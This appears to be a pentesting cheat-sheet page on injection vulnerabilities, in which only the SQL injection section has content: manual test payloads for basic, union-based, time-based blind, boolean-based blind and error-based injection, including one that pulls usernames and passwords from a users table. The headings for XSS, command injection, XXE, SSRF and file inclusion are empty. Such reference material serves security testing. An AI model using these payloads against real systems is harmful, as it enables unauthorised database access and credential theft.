Injection vulnerabilities

SQL Injection (SQLi)

Manual Testing:
1. Basic tests
   ' OR '1'='1' --
   ' OR '1'='1' /*
   ') OR ('1'='1
   
2. Union-based
   ' UNION SELECT NULL, NULL, NULL --
   ' UNION SELECT username, password FROM users --
   
3. Time-based blind
   ' AND SLEEP(5) --
   ' AND IF(1=1, SLEEP(5), 0) --
   
4. Boolean-based blind
   ' AND 1=1 --  (True)
   ' AND 1=2 --  (False)
   
5. Error-based
   ' AND 1=CONVERT(int, (SELECT @@version)) --

Automated

Cross-Site Scripting (XSS)

Automated

Command Injection

XML External Entity (XXE)

Server-Side Request Forgery (SSRF)

Local/Remote File Inclusion

Last updated